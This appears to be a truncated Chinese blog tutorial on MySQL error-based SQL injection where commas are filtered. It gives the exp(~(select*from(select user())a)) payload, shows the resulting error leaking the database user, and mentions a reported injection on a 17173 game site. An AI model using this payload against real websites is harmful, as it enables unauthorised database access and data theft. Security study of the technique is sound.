这一篇介绍不带逗号注入。 之所以不带逗号,多半是因为它被当做分隔符,或者是被脚本过滤了。比如这样一个URL:http://www.target.com/index.php?cate=1,2,3,4,5参数cate可以注入,但是不能使用逗号,因为逗号被脚本作为分隔符预处理。这种注射点的利用方法是使用数学运算函数在子查询中报错,比如exp函数(参考EXP(X)), MySQL会把子查询的中间结果暴露出来。这里我发了一个例子到wooyun:17173游戏某站点MySQL报错注入(不带逗号注入的猜解过程)select exp(~(select*from(select user())a))MySQL报错:mysql> select exp(~(select*from(select user())a));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'这样我们就得到了当前user()是root@localhost。exp(x)函数的作用: 取常数e的x次方,其中,e是自然对数的底。~x 是一个一元运算符,将x按位取补。举个例子:mysql> select hex(2);+--------+| hex(2) |+--------+| 2 |+----
...
继续阅读
(73)